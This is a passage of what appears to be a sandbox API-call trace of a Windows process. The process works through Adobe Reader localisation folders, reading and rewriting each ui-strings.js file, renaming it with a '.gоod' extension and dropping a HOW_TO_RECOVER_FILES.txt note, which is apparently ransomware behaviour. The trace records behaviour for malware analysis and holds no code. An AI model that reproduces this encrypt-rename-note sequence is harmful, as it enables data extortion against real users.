DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.787] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.788] GetFileType (hFile=0x768) returned 0x1 [0179.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.788] GetFileType (hFile=0x768) returned 0x1 [0179.788] ReadFile (in: hFile=0x768, lpBuffer=0x395aae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x395aae0*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0180.018] CloseHandle (hObject=0x768) returned 1 [0180.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0180.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0180.019] GetFileType (hFile=0x768) returned 0x1 [0180.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0180.019] GetFileType (hFile=0x768) returned 0x1 [0180.019] WriteFile (in: hFile=0x768, lpBuffer=0x3528e38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3528e38*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0180.019] CloseHandle (hObject=0x768) returned 1 [0180.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0180.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0180.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x67829b68, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ad7)) returned 1 [0180.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0180.019] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js.gоod")) returned 1 [0180.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0180.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0180.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0180.121] GetFileType (hFile=0x768) returned 0x1 [0180.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0180.121] GetFileType (hFile=0x768) returned 0x1 [0180.122] WriteFile (in: hFile=0x768, lpBuffer=0x35751d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35751d8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0180.123] CloseHandle (hObject=0x768) returned 1 [0180.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0180.123] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il", lpFilePart=0x0) returned 0x6a [0180.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.124] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.124] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0180.124] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.125] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0180.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0180.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0180.125] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il", lpFilePart=0x0) returned 0x6a [0180.125] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.125] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.125] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0180.125] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0180.126] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0180.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0180.126] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0180.126] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3584e40 | out: lpFileInformation=0x3584e40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31)) returned 1 [0180.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0180.126] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0180.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0180.127] GetFileType (hFile=0x768) returned 0x1 [0180.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0180.127] GetFileType (hFile=0x768) returned 0x1 [0180.127] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0180.127] ReadFile (in: hFile=0x768, lpBuffer=0x3585328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3585328*, lpNumberOfBytesRead=0x1ffebaa8*=0xc31, lpOverlapped=0x0) returned 1 [0180.128] CloseHandle (hObject=0x768) returned 1 [0180.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0180.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0180.129] GetFileType (hFile=0x768) returned 0x1 [0180.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0180.129] GetFileType (hFile=0x768) returned 0x1 [0180.129] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1c31 [0180.129] WriteFile (in: hFile=0x768, lpBuffer=0x3586628*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3586628*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0180.129] CloseHandle (hObject=0x768) returned 1 [0180.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0180.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0180.130] GetFileType (hFile=0x768) returned 0x1 [0180.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0180.130] GetFileType (hFile=0x768) returned 0x1 [0180.130] ReadFile (in: hFile=0x768, lpBuffer=0x3588950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3588950*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0180.835] CloseHandle (hObject=0x768) returned 1 [0180.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0180.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0180.835] GetFileType (hFile=0x768) returned 0x1 [0180.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0180.835] GetFileType (hFile=0x768) returned 0x1 [0180.835] WriteFile (in: hFile=0x768, lpBuffer=0x3447470*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3447470*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0180.836] CloseHandle (hObject=0x768) returned 1 [0180.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0180.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0180.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0180.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x67ff8c9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c41)) returned 1 [0180.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0180.836] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js.gоod")) returned 1 [0181.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0181.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0181.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0181.346] GetFileType (hFile=0x824) returned 0x1 [0181.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0181.346] GetFileType (hFile=0x824) returned 0x1 [0181.347] WriteFile (in: hFile=0x824, lpBuffer=0x35d0800*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35d0800*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0181.348] CloseHandle (hObject=0x824) returned 1 [0181.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0181.348] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es", lpFilePart=0x0) returned 0x6a [0181.348] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.349] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, 